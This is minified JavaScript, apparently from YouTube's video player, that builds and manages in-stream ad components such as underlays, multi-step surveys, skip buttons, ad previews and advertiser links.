g.q.Wm=function(){if(this.C!=null){var x=this.C.getProgressState();x!=null&&x.current!=null&&(x=1E3*x.current,!this.jY&&x>=this.j?(this.K.hide(),this.jY=!0):this.messageText&&this.messageText.isTemplated()&&(x=Math.max(0,Math.ceil((this.j-x)/1E3)),x!==this.D&&(OV(this.messageText,{TIME_REMAINING:String(x)}),this.D=x)))}};g.P(xC3,ZJ);g.q=xC3.prototype;
g.q.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,{});T.image&&T.image.thumbnail?T.headline?T.description?T.actionButton&&g.N(T.actionButton,g.nx)?(this.j.init(sV("ad-image"),T.image,t),this.Z.init(sV("ad-text"),T.headline,t),this.K.init(sV("ad-text"),T.description,t),x=["ytp-ad-underlay-action-button"],this.api.Y().B("use_blue_buttons_for_desktop_player_underlay")&&x.push("ytp-ad-underlay-action-button-blue"),this.actionButton=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,
x),T.backgroundColor&&g.Zt(this.element,"background-color",g.an(T.backgroundColor)),g.y(this,this.actionButton),this.actionButton.yU(this.D),this.actionButton.init(sV("button"),g.N(T.actionButton,g.nx),t),T=g.Z9(this.api.Y().experiments,"player_underlay_video_width_fraction"),this.api.Y().B("place_shrunken_video_on_left_of_player")?(t=this.C,g.H$(t,"ytp-ad-underlay-left-container"),g.uY(t,"ytp-ad-underlay-right-container"),g.Zt(this.C,"margin-left",Math.round((T+.02)*100)+"%")):(t=this.C,g.H$(t,"ytp-ad-underlay-right-container"),
g.uY(t,"ytp-ad-underlay-left-container")),g.Zt(this.C,"width",Math.round((1-T-.04)*100)+"%"),this.api.PJ()&&this.show(),this.api.addEventListener("playerUnderlayVisibilityChange",this.Kp.bind(this)),this.api.addEventListener("resize",this.jW.bind(this))):g.vW(Error("InstreamAdPlayerUnderlayRenderer has no button.")):g.vW(Error("InstreamAdPlayerUnderlayRenderer has no description AdText.")):g.vW(Error("InstreamAdPlayerUnderlayRenderer has no headline AdText.")):g.vW(Error("InstreamAdPlayerUnderlayRenderer has no image."))};
g.q.show=function(){TNV(!0);this.actionButton&&this.actionButton.show();ZJ.prototype.show.call(this)};
g.q.hide=function(){TNV(!1);this.actionButton&&this.actionButton.hide();ZJ.prototype.hide.call(this)};
g.q.clear=function(){this.api.removeEventListener("playerUnderlayVisibilityChange",this.Kp.bind(this));this.api.removeEventListener("resize",this.jW.bind(this));this.hide()};
g.q.onClick=function(x){ZJ.prototype.onClick.call(this,x);this.actionButton&&g.ux(this.actionButton.element,x.target)&&this.api.pauseVideo()};
g.q.Kp=function(x){x==="transitioning"?(this.C.classList.remove("ytp-ad-underlay-clickable"),this.show()):x==="visible"?this.C.classList.add("ytp-ad-underlay-clickable"):x==="hidden"&&(this.hide(),this.C.classList.remove("ytp-ad-underlay-clickable"))};
g.q.jW=function(x){x.width>1200?(this.actionButton.element.classList.add("ytp-ad-underlay-action-button-large"),this.actionButton.element.classList.remove("ytp-ad-underlay-action-button-medium")):x.width>875?(this.actionButton.element.classList.add("ytp-ad-underlay-action-button-medium"),this.actionButton.element.classList.remove("ytp-ad-underlay-action-button-large")):(this.actionButton.element.classList.remove("ytp-ad-underlay-action-button-large"),this.actionButton.element.classList.remove("ytp-ad-underlay-action-button-medium"));
g.Zt(this.Z.element,"font-size",x.width/40+"px")};g.P(Ug,ZJ);
Ug.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);T.toggledLoggingParams&&(this.toggledLoggingParams=T.toggledLoggingParams);T.answer&&g.N(T.answer,g.nx)?(x=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-survey-answer-button"],"survey-single-select-answer-button"),x.yU(this.answer),x.init(sV("ytp-ad-survey-answer-button"),g.N(T.answer,g.nx),t),x.show()):T.answer&&g.N(T.answer,PN)&&(this.C=new Ba(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,
["ytp-ad-survey-answer-toggle-button"]),this.C.yU(this.answer),g.y(this,this.C),this.C.init(sV("survey-answer-button"),g.N(T.answer,PN),t));this.show()};
Ug.prototype.Zq=function(x){this.layoutId?Jh(this.JQ,x,this.layoutId,this.macros):g.vW(new g.CS("There is undefined layoutId when calling the runCommand method.",{componentType:this.componentType}))};
Ug.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x);if(this.api.Y().B("supports_multi_step_on_desktop")&&this.index!==null)this.onSelected(this.index)};
Ug.prototype.clear=function(){this.hide()};g.P(oHX,ZJ);oHX.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);T.answer&&g.N(T.answer,PN)&&(this.button=new Ba(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,["ytp-ad-survey-answer-toggle-button","ytp-ad-survey-none-of-the-above-button"]),this.button.yU(this.C),this.button.init(sV("survey-none-of-the-above-button"),g.N(T.answer,PN),t));this.show()};g.P(bt,FK);bt.prototype.init=function(x,T,t){FK.prototype.init.call(this,x,T,t);x=!1;T.text&&(T=g.eb(T.text),x=!g.Y9(T));x||g.Vh(Error("No submit text was present in the renderer."))};
bt.prototype.onClick=function(x){this.publish("l");FK.prototype.onClick.call(this,x)};g.P(rW,ZJ);
rW.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);if(x=T.skipOrPreviewRenderer)g.N(x,i_)?(x=g.N(x,i_),t=new m6(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.K,!0),t.yU(this.skipOrPreview),t.init(sV("skip-button"),x,this.macros),g.y(this,t),this.C=t):g.N(x,Lx)&&(x=g.N(x,Lx),t=new TK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.K,!1),t.yU(this.skipOrPreview),t.init(sV("ad-preview"),x,this.macros),on(t),g.y(this,t),this.C=t);this.C==
null&&g.vW(Error("ISAPOR.skipOrPreviewRenderer was not initialized properly.ISAPOR: "+JSON.stringify(T)));T.submitButton&&(x=T.submitButton,g.N(x,g.nx)&&(x=g.N(x,g.nx),t=new bt(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),t.yU(this.submitButton),t.init(sV("survey-submit"),x,this.macros),g.y(this,t),this.Z=t));x=this.api.B("disable_ad_preview_for_instream_ads");if(t=T.adBadgeRenderer){t=g.N(t,n9h);var u=new Ma(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,!0,
x,!0);u.yU(this.j);u.init(sV("simple-ad-badge"),t,this.macros);this.adBadge=u.element;g.y(this,u)}if(t=T.adDurationRemaining)t=g.N(t,FdE),u=new Yr(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.K,void 0,x),u.yU(this.j),u.init(sV("ad-duration-remaining"),t,this.macros),g.y(this,u);(T=T.adInfoRenderer)&&g.N(T,GO)&&(t=new Qo(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.element,void 0,x),g.y(this,t),x&&this.adBadge!==void 0?this.j.insertBefore(t.element,
this.adBadge.nextSibling):t.yU(this.j),t.init(sV("ad-info-hover-text-button"),g.N(T,GO),this.macros));this.show()};
rW.prototype.clear=function(){this.hide()};g.P(zB,ZJ);zB.prototype.init=function(x,T,t){ZJ.prototype.init.call(this,x,T,t);Ho3(this)};
zB.prototype.show=function(){this.j=Date.now();ZJ.prototype.show.call(this)};
zB.prototype.F1=function(){};g.P(iov,zB);g.q=iov.prototype;g.q.init=function(x,T,t){var u=this;zB.prototype.init.call(this,x,T,t);T.questionText&&tlC(this,T.questionText);T.answers&&T.answers.forEach(function(H,I){g.N(H,Au)&&sNX(u,g.N(H,Au),t,I)});
this.D=new Set(this.Z.map(function(H){return H.C.C}));
(x=T.noneOfTheAbove)&&(x=g.N(x,v99))&&IPq(this,x,t);T.surveyAdQuestionCommon&&$Cf(this,T.surveyAdQuestionCommon);T.submitEndpoints&&(this.submitEndpoints=T.submitEndpoints);this.V(this.element,"change",this.onChange);this.show()};
g.q.F1=function(){EHD(this,!1);this.K.Z.subscribe("l",this.ExQ,this)};
g.q.onChange=function(x){x.target===this.noneOfTheAbove.button.C?qNX(this):this.D.has(x.target)&&(this.noneOfTheAbove.button.toggleButton(!1),EHD(this,!0))};
g.q.ExQ=function(){var x=[],T=this.Z.reduce(function(H,I,E){var Z=I.toggledLoggingParams;I.C&&I.C.isToggled()&&Z&&(H.push(Z),x.push(E));return H},[]).join("&"),t=this.submitEndpoints.map(function(H){if(!H.loggingUrls)return H;
H=g.vR(H);H.loggingUrls=H.loggingUrls.map(function(I){I.baseUrl&&(I.baseUrl=Ja(I.baseUrl,T));return I});
return H});
if(t){t=g.S(t);for(var u=t.next();!u.done;u=t.next())u=u.value,this.layoutId?Jh(this.JQ,u,this.layoutId,this.macros):g.vW(Error("Missing layoutId for multi_select_question."))}this.api.Y().B("supports_multi_step_on_desktop")&&this.jY(x)};
g.q.clear=function(){this.api.Y().B("enable_hide_on_clear_in_survey_question_bulleit")?this.hide():this.dispose()};g.P(kC,zB);kC.prototype.init=function(x,T,t){var u=this;zB.prototype.init.call(this,x,T,t);T.questionText&&tlC(this,T.questionText);T.answers&&T.answers.forEach(function(H,I){g.N(H,Au)&&sNX(u,g.N(H,Au),t,I)});
T.surveyAdQuestionCommon?$Cf(this,T.surveyAdQuestionCommon):g.vW(Error("SurveyAdQuestionCommon was not sent.SingleSelectQuestionRenderer: "+JSON.stringify(T)));this.show()};
kC.prototype.clear=function(){this.api.Y().B("enable_hide_on_clear_in_survey_question_bulleit")?this.hide():this.dispose()};g.P(FL,ZJ);FL.prototype.init=function(x,T,t){var u=this;ZJ.prototype.init.call(this,x,T,t);if(this.api.Y().B("supports_multi_step_on_desktop")){var H;this.conditioningRules=(H=T.conditioningRules)!=null?H:[];var I;this.Z=(I=T.questions)!=null?I:[];var E;((E=T.questions)==null?0:E.length)&&lPV(this,0)}else(T.questions||[]).forEach(function(Z){g.N(Z,vb)?jNJ(u,g.N(Z,vb),t):g.N(Z,h4)&&epX(u,g.N(Z,h4),t)});
this.show()};
FL.prototype.clear=function(){this.api.Y().B("enable_hide_on_clear_in_survey_question_bulleit")?this.hide():(this.hide(),this.dispose())};
FL.prototype.K=function(x){var T=this;if(this.api.Y().B("supports_multi_step_on_desktop")){var t;if((t=this.conditioningRules)==null?0:t.length){var u;if(x.length===0)this.api.onAdUxClicked("ad-action-submit-survey",this.layoutId);else if(this.conditioningRules.find(function(H){return H.questionIndex===T.C})==null)g.vW(Error("Expected conditioning rule(s) for survey question.")),this.api.onAdUxClicked("ad-action-submit-survey",this.layoutId);
else if(this.conditioningRules.forEach(function(H){if(H.questionIndex===T.C)switch(H.condition){case "CONDITION_ALL_OF":var I;if((I=H.answerIndices)==null?0:I.every(function(Z){return x.includes(Z)}))u=H.nextQuestionIndex;
break;case "CONDITION_ANY_OF":var E;if((E=H.answerIndices)==null?0:E.some(function(Z){return x.includes(Z)}))u=H.nextQuestionIndex;
break;default:g.vW(Error("Expected specified condition in survey conditioning rules."))}}),u!=null)lPV(this,u);
else this.api.onAdUxClicked("ad-action-submit-survey",this.layoutId)}else this.questions.length>1&&g.vW(Error("No conditioning rules, yet survey is multi step. Expected questions.length to be 1.")),this.api.onAdUxClicked("ad-action-submit-survey",this.layoutId)}};g.P(hz,ZJ);
hz.prototype.init=function(x,T,t){var u=this;ZJ.prototype.init.call(this,x,T,t);x=T.timeoutSeconds||0;if(typeof x!=="number"||x<0)g.vW(Error("timeoutSeconds was specified incorrectly in SurveyTextInterstitialRenderer with a value of: "+x));else if(T.timeoutCommands)if(T.text)if(T.ctaButton&&g.N(T.ctaButton,g.nx))if(T.brandImage)if(T.backgroundImage&&g.N(T.backgroundImage,aj)&&g.N(T.backgroundImage,aj).landscape){this.layoutId||g.vW(Error("Missing layoutId for survey interstitial."));mCf(this.interstitial,g.N(T.backgroundImage,
aj).landscape);mCf(this.logoImage,T.brandImage);g.$U(this.text,g.eb(T.text));var H=["ytp-ad-survey-interstitial-action-button"];H.push("ytp-ad-survey-interstitial-action-button-rounded");this.actionButton=new FK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,H);g.y(this,this.actionButton);this.actionButton.yU(this.Z);this.actionButton.init(sV("button"),g.N(T.ctaButton,g.nx),t);this.actionButton.show();this.C=new Rn(this.api,x*1E3);this.C.subscribe("g",function(){u.transition.hide()});
g.y(this,this.C);this.V(this.element,"click",function(I){var E=I.target===u.interstitial;I=u.actionButton.element.contains(I.target);if(E||I)if(u.transition.hide(),E)u.api.onAdUxClicked(u.componentType,u.layoutId)});
this.transition.show(100)}else g.vW(Error("SurveyTextInterstitialRenderer has no landscape background image."));else g.vW(Error("SurveyTextInterstitialRenderer has no brandImage."));else g.vW(Error("SurveyTextInterstitialRenderer has no button."));else g.vW(Error("SurveyTextInterstitialRenderer has no text."));else g.vW(Error("timeoutSeconds was specified yet no timeoutCommands where specified"))};
hz.prototype.clear=function(){this.hide()};
hz.prototype.show=function(){dCV(!0);ZJ.prototype.show.call(this)};
hz.prototype.hide=function(){dCV(!1);ZJ.prototype.hide.call(this)};g.P(vh,fK);g.q=vh.prototype;
g.q.init=function(x,T){fK.prototype.init.call(this,x,T,{});if(T.durationMilliseconds){if(T.durationMilliseconds<0){g.vW(Error("DurationMilliseconds was specified incorrectly in AdPreview with a value of: "+T.durationMilliseconds));return}this.Z=T.durationMilliseconds}else this.Z=this.C.Xv();var t;if((t=T.previewText)==null||!t.text||g.Y9(T.previewText.text))g.vW(Error("No text is returned for AdPreview."));else{this.D=T.previewText;T.previewText.isTemplated||g.$U(this.j,T.previewText.text);var u;
if(((u=this.api.getVideoData(1))==null?0:u.KB)&&T.previewImage){var H,I;(x=((I=YQ(((H=T.previewImage)==null?void 0:H.sources)||[],52,!1))==null?void 0:I.url)||"")&&x.length?(this.previewImage=new g.qS({L:"img",G:"ytp-preview-ad__image",X:{src:"{{imageUrl}}"}}),this.previewImage.updateValue("imageUrl",x),g.y(this,this.previewImage),this.previewImage.yU(this.element)):g.vW(Error("Failed to get imageUrl in AdPreview."))}else this.j.classList.add("ytp-preview-ad__text--padding--wide")}};
g.q.clear=function(){this.hide()};
g.q.hide=function(){KK(this);fK.prototype.hide.call(this)};
g.q.show=function(){wr(this);fK.prototype.show.call(this)};
g.q.ZX=function(){this.hide()};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();if(x!=null&&x.current)if(x=1E3*x.current,x>=this.Z)this.transition.hide();else{var T;if((T=this.D)==null?0:T.isTemplated)if(T=Math.max(0,Math.ceil((this.Z-x)/1E3)),T!==this.K){var t,u;(x=(t=this.D)==null?void 0:(u=t.text)==null?void 0:u.replace("{TIME_REMAINING}",String(T)))&&g.$U(this.j,x);this.K=T}}}};g.P(V_,ZJ);
V_.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});var t,u;if((x=((u=YQ(((t=T.image)==null?void 0:t.sources)||[],MlD(T),!0))==null?void 0:u.url)||"")&&x.length){t=this.Um("ytp-ad-avatar");t.src=x;var H,I;if(u=(H=T.interaction)==null?void 0:(I=H.accessibility)==null?void 0:I.label)t.alt=u;switch(T.size){case "AD_AVATAR_SIZE_XXS":this.element.classList.add("ytp-ad-avatar--size-xxs");break;case "AD_AVATAR_SIZE_XS":this.element.classList.add("ytp-ad-avatar--size-xs");break;case "AD_AVATAR_SIZE_S":this.element.classList.add("ytp-ad-avatar--size-s");
break;case "AD_AVATAR_SIZE_M":this.element.classList.add("ytp-ad-avatar--size-m");break;case "AD_AVATAR_SIZE_L":this.element.classList.add("ytp-ad-avatar--size-l");break;case "AD_AVATAR_SIZE_XL":this.element.classList.add("ytp-ad-avatar--size-xl");break;case "AD_AVATAR_SIZE_RESPONSIVE":this.element.classList.add("ytp-ad-avatar--size-responsive");break;default:this.element.classList.add("ytp-ad-avatar--size-m")}switch(T.style){case "AD_AVATAR_STYLE_ROUNDED_CORNER":this.element.classList.add("ytp-ad-avatar--rounded-corner");
break;default:this.element.classList.add("ytp-ad-avatar--circular")}}else g.vW(Error("Failed to get imageUrl in AdAvatar."))};
V_.prototype.clear=function(){this.hide()};
V_.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x)};g.P(GB,ZJ);
GB.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});var t;x=(t=T.label)==null?void 0:t.content;if((t=x!=null&&!g.Y9(x))||T.iconImage){t&&(this.buttonText=new g.qS({L:"span",G:"ytp-ad-button-vm__text",z9:x}),g.y(this,this.buttonText),this.buttonText.yU(this.element));var u,H,I=((u=T.interaction)==null?0:(H=u.accessibility)==null?0:H.label)||t?x:"";I&&Ct(this.element,I+" This link opens in new tab");NV(this.element);if(T.iconImage){u=void 0;if(T.iconImage){a:{H=T.iconImage;if(H.sources)for(H=
g.S(H.sources),x=H.next();!x.done;x=H.next())if(x=x.value,I=void 0,(I=x.clientResource)==null?0:I.imageName){H=x;break a}H=void 0}if(H){var E;u={iconType:(E=H.clientResource)==null?void 0:E.imageName}}}E=kB(u,!1,this.Z);E!=null&&(this.buttonIcon=new g.qS({L:"span",G:"ytp-ad-button-vm__icon",W:[E]}),g.y(this,this.buttonIcon),T.iconLeading?(tn(this.element,this.buttonIcon.element,0),this.buttonIcon.element.classList.add("ytp-ad-button-vm__icon--leading")):t?(this.buttonIcon.yU(this.element),this.buttonIcon.element.classList.add("ytp-ad-button-vm__icon--trailing")):
(this.buttonIcon.yU(this.element),this.element.classList.add("ytp-ad-button-vm--icon-only")))}switch(T.style){case "AD_BUTTON_STYLE_TRANSPARENT":this.element.classList.add("ytp-ad-button-vm--style-transparent");break;case "AD_BUTTON_STYLE_FILLED_WHITE":this.element.classList.add("ytp-ad-button-vm--style-filled-white");break;case "AD_BUTTON_STYLE_FILLED":this.element.classList.add(this.C?"ytp-ad-button-vm--style-filled-dark":"ytp-ad-button-vm--style-filled");break;default:this.element.classList.add("ytp-ad-button-vm--style-filled")}switch(T.size){case "AD_BUTTON_SIZE_COMPACT":this.element.classList.add("ytp-ad-button-vm--size-compact");
break;case "AD_BUTTON_SIZE_LARGE":this.element.classList.add("ytp-ad-button-vm--size-large");break;default:this.element.classList.add("ytp-ad-button-vm--size-default")}}else g.Vh(Error("AdButton does not have label or an icon."))};
GB.prototype.clear=function(){this.hide()};
GB.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x)};g.P(Ari,fK);g.q=Ari.prototype;
g.q.init=function(x,T){fK.prototype.init.call(this,x,T,{});this.api.Y().B("enable_larger_flyout_cta_on_desktop")&&(this.element.classList.add("ytp-ad-avatar-lockup-card--large"),this.Um("ytp-ad-avatar-lockup-card__avatar_and_text_container").classList.add("ytp-ad-avatar-lockup-card__avatar_and_text_container--large"),this.headline.element.classList.add("ytp-ad-avatar-lockup-card__headline--large"),this.description.element.classList.add("ytp-ad-avatar-lockup-card__description--large"),this.adButton.element.classList.add("ytp-ad-avatar-lockup-card__button--large"),
this.adAvatar.element.classList.add("ytp-ad-avatar-lockup-card__ad_avatar--large"),tn(this.Um("ytp-ad-avatar-lockup-card__avatar_and_text_container"),this.adAvatar.element,0));if(x=g.N(T.avatar,Ns)){var t=T.headline;if(t){var u=T.description;if(u){var H=g.N(T.button,CL);H?(this.adAvatar.init(sV("ad-avatar"),x),this.headline.init(sV("ad-simple-attributed-string"),new bJ(t)),this.description.init(sV("ad-simple-attributed-string"),new bJ(u)),t.content&&t.content.length>20&&this.description.element.classList.add("ytp-ad-avatar-lockup-card__description--hidden--in--small--player"),
this.adButton.init(sV("ad-button"),H),this.startMilliseconds=T.startMs||0,this.api.PJ()||this.show(),this.api.addEventListener("playerUnderlayVisibilityChange",this.du.bind(this)),wr(this)):g.vW(Error("No AdButtonViewModel is returned in PlayerAdAvatarLockupCardButtonedViewModel."))}else g.vW(Error("No description is returned in PlayerAdAvatarLockupCardButtonedViewModel."))}else g.vW(Error("No headline is returned in PlayerAdAvatarLockupCardButtonedViewModel."))}else g.vW(Error("No AdAvatarViewModel is returned in PlayerAdAvatarLockupCardButtonedViewModel."))};
g.q.Wm=function(){if(this.C){var x=this.C.getProgressState();x&&x.current&&1E3*x.current>=this.startMilliseconds&&(KK(this),this.element.classList.remove("ytp-ad-avatar-lockup-card--inactive"))}};
g.q.ZX=function(){this.clear()};
g.q.onClick=function(x){this.api.pauseVideo();fK.prototype.onClick.call(this,x)};
g.q.clear=function(){this.hide();this.api.removeEventListener("playerUnderlayVisibilityChange",this.du.bind(this))};
g.q.show=function(){this.adAvatar.show();this.headline.show();this.description.show();this.adButton.show();fK.prototype.show.call(this)};
g.q.hide=function(){this.adAvatar.hide();this.headline.hide();this.description.hide();this.adButton.hide();fK.prototype.hide.call(this)};
g.q.du=function(x){x==="hidden"?this.show():this.hide()};g.P(LL,ZJ);g.q=LL.prototype;
g.q.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(!T.label||g.Y9(T.label))g.vW(Error("No label is returned for SkipAdButton."));else if(g.$U(this.K,T.label),x=kB({iconType:"SKIP_NEXT_NEW"}),x==null)g.vW(Error("Unable to retrieve icon for SkipAdButton"));else if(this.j=new g.qS({L:"span",G:"ytp-skip-ad-button__icon",W:[x]}),g.y(this,this.j),this.j.yU(this.element),this.api.Y().experiments.aU("enable_skip_to_next_messaging")&&(T=g.Kd(T.targetId)))this.Z=!0,this.element.setAttribute("data-tooltip-target-id",T),
this.element.setAttribute("data-tooltip-target-fixed","")};
g.q.onClick=function(x){x&&x.preventDefault();var T,t;KPH(x,{contentCpn:(t=(T=this.api.getVideoData(1))==null?void 0:T.clientPlaybackNonce)!=null?t:""})===0?this.api.XW("onAbnormalityDetected"):(ZJ.prototype.onClick.call(this,x),this.api.XW("onAdSkip"),this.api.onAdUxClicked(this.componentType,this.layoutId))};
g.q.clear=function(){this.C.reset();this.hide()};
g.q.hide=function(){ZJ.prototype.hide.call(this)};
g.q.show=function(){this.C.start();ZJ.prototype.show.call(this);this.Z&&this.api.Y().experiments.aU("enable_skip_to_next_messaging")&&this.api.publish("showpromotooltip",this.element)};g.P(Rpm,fK);g.q=Rpm.prototype;
g.q.init=function(x,T){fK.prototype.init.call(this,x,T,{});x=g.N(T.preskipState,CbC);if(this.K||!this.api.Y().experiments.aU("disable_ad_preview_for_instream_ads")){if(!x){g.vW(Error("No AdPreviewViewModel is returned in SkipAdViewModel."));return}var t;(t=this.Z)==null||t.init(sV("preview-ad"),x);(t=this.Z)!=null&&(t.transition.show(100),t.show())}(t=g.N(T.skippableState,pEP))?(T.skipOffsetMilliseconds!=null?this.skipOffsetMilliseconds=T.skipOffsetMilliseconds:(g.Vh(Error("No skipOffsetMilliseconds is returned in SkipAdViewModel.")),this.skipOffsetMilliseconds=
5E3),this.j.init(sV("skip-button"),t),this.show()):g.vW(Error("No SkipAdButtonViewModel is returned in SkipAdViewModel."))};
g.q.show=function(){wr(this);fK.prototype.show.call(this)};
g.q.hide=function(){!this.isSkippable&&this.Z?this.Z.hide():this.j&&this.j.hide();KK(this);fK.prototype.hide.call(this)};
g.q.clear=function(){var x;(x=this.Z)==null||x.clear();this.j&&this.j.clear();KK(this);fK.prototype.hide.call(this)};
g.q.ZX=function(){this.hide()};
g.q.Wm=function(){if(1E3*this.C.getProgressState().current>=this.skipOffsetMilliseconds&&!this.isSkippable){this.isSkippable=!0;var x;(x=this.Z)!=null&&x.transition.hide();(x=this.j)!=null&&(x.transition.show(),x.show())}};g.P(nL,ZJ);
nL.prototype.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(T.label){var t;((t=T.label)==null?0:t.content)&&!g.Y9(T.label.content)&&(this.linkText=new g.qS({L:"span",G:"ytp-visit-advertiser-link__text",z9:T.label.content}),g.y(this,this.linkText),this.linkText.yU(this.element));var u,H;if((u=T.interaction)==null?0:(H=u.accessibility)==null?0:H.label)Ct(this.element,T.interaction.accessibility.label+" This link opens in new tab");else{var I;((I=T.label)==null?0:I.content)&&!g.Y9(T.label.content)&&Ct(this.element,
T.label.content+" This link opens in new tab")}NV(this.element);this.element.setAttribute("tabindex","0");this.show()}else g.vW(Error("No label found in VisitAdvertiserLink."))};
nL.prototype.onClick=function(x){ZJ.prototype.onClick.call(this,x);this.api.onAdUxClicked(this.componentType,this.layoutId)};
nL.prototype.clear=function(){this.hide()};g.P(a5,ZJ);
a5.prototype.init=function(x,T,t,u){ZJ.prototype.init.call(this,x,T,{});if(T.skipOrPreview){t=T.skipOrPreview;x=g.N(t,OCb);t=g.N(t,CbC);var H,I=this.api.Y().B("clean_player_style_fix_on_web")&&((H=this.api.getVideoData())==null?void 0:H.isDaiEnabled());x?(this.Os=new Rpm(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z),g.y(this,this.Os),this.Os.yU(this.S),this.Os.init(sV("skip-ad"),x)):!t||this.api.Y().experiments.aU("disable_ad_preview_for_instream_ads")&&!I||(this.K=new vh(this.api,
this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,1),g.y(this,this.K),this.K.yU(this.S),this.K.init(sV("ad-preview"),t),H=this.K,H.transition.show(100),H.show());if(H=g.N(T.skipOrPreview,OCb))var E=H.skipOffsetMilliseconds}T.playerAdCard&&(H=g.N(T.playerAdCard,QPd))&&(this.playerAdCard=new Ari(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z),g.y(this,this.playerAdCard),this.playerAdCard.yU(this.Om),this.playerAdCard.init(sV("ad-avatar-lockup-card"),H));H=this.api.Y().B("disable_ad_duration_remaining_for_instream_video_ads")||
T.adPodIndex!==void 0;T.adBadgeRenderer&&((x=g.N(T.adBadgeRenderer,Jz))?(this.j=new zK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,H),g.y(this,this.j),this.j.yU(this.C),this.j.init(sV("ad-badge"),x)):g.vW(Error("AdBadgeViewModel is not found in player overlay layout.")));T.adPodIndex&&(x=g.N(T.adPodIndex,D9h))&&(this.adPodIndex=new kr(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,g.N(T.skipOrPreview,OCb)===void 0),g.y(this,this.adPodIndex),this.adPodIndex.yU(this.C),
this.adPodIndex.init(sV("ad-pod-index"),x));T.adInfoRenderer&&(x=g.N(T.adInfoRenderer,GO))&&(this.adInfoButton=new Qo(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.element,void 0,H),g.y(this,this.adInfoButton),this.api.Y().B("enable_ad_pod_index_autohide")&&this.j!==void 0?this.C.insertBefore(this.adInfoButton.element,this.j.element.nextSibling):this.adInfoButton.yU(this.C),this.adInfoButton.init(sV("ad-info-hover-text-button"),x,this.macros));var Z;x=this.api.Y().B("clean_player_style_fix_on_web")&&
((Z=this.api.getVideoData())==null?void 0:Z.isDaiEnabled());T.adDurationRemaining&&(!H||x)&&(Z=g.N(T.adDurationRemaining,FdE))&&(this.adDurationRemaining=new Yr(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.Z,u.videoAdDurationSeconds,H),g.y(this,this.adDurationRemaining),H&&this.adPodIndex!==void 0?this.C.insertBefore(this.adDurationRemaining.element,this.adPodIndex.element.nextSibling):this.adInfoButton!==void 0?H?this.C.insertBefore(this.adDurationRemaining.element,this.adInfoButton.element.nextSibling):
this.C.insertBefore(this.adDurationRemaining.element,this.adInfoButton.element):this.adDurationRemaining.yU(this.C),this.adDurationRemaining.init(sV("ad-duration-remaining"),Z,this.macros),H&&this.adDurationRemaining.element.classList.add("ytp-ad-duration-remaining-autohide"));T.visitAdvertiserLink&&(u=g.N(T.visitAdvertiserLink,wEb))&&(this.visitAdvertiserLink=new nL(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.visitAdvertiserLink),this.visitAdvertiserLink.yU(this.C),
this.visitAdvertiserLink.init(sV("visit-advertiser-link"),u));T.adDisclosureBanner&&(T=g.N(T.adDisclosureBanner,WdM))&&(this.adDisclosureBanner=new Fu(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.adDisclosureBanner),this.adDisclosureBanner.yU(this.jY),this.adDisclosureBanner.init(sV("ad-disclosure-banner"),T));this.api.Y().B("show_preskip_progress_bar_for_skippable_ads")&&(this.D=new V6(this.api,this.Z,E,H),g.y(this,this.D),g.V$(this.api,this.D.element,4));this.show()};
a5.prototype.clear=function(){this.hide()};g.P(PyV,ZJ);g.q=PyV.prototype;
g.q.init=function(x,T){ZJ.prototype.init.call(this,x,T,{});if(T!=null&&T.title)if(x=T.title)if(this.headline.init(sV("ad-simple-attributed-string"),new bJ(x)),x=g.N(T.moreInfoButton,CL)){if(this.moreInfoButton.init(sV("ad-button"),x),T.descriptions)T.descriptions.length>0&&(x=T.descriptions[0])&&(this.C=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.C),this.C.yU(this.element.getElementsByClassName("ytp-ad-grid-card-text__metadata__description__line")[0]),this.C.init(sV("ad-simple-attributed-string"),
new bJ(x))),T.descriptions.length>1&&(T=T.descriptions[1])&&(this.Z=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ),g.y(this,this.Z),this.Z.yU(this.element.getElementsByClassName("ytp-ad-grid-card-text__metadata__description__line")[1]),this.Z.init(sV("ad-simple-attributed-string"),new bJ(T)))}else g.vW(Error("No AdButtonViewModel is returned in AdGridCardText."));else g.vW(Error("No headline found in AdGridCardText."));else g.vW(Error("No headline found in AdGridCardText."))};
g.q.onClick=function(x){ZJ.prototype.onClick.call(this,x);this.api.pauseVideo();this.api.onAdUxClicked(this.componentType,this.layoutId)};
g.q.clear=function(){this.hide();this.headline.clear();this.moreInfoButton.clear();var x;(x=this.C)==null||x.clear();var T;(T=this.Z)==null||T.clear()};
g.q.hide=function(){this.headline.hide();this.moreInfoButton.hide();var x;(x=this.C)==null||x.hide();var T;(T=this.Z)==null||T.hide();ZJ.prototype.hide.call(this)};
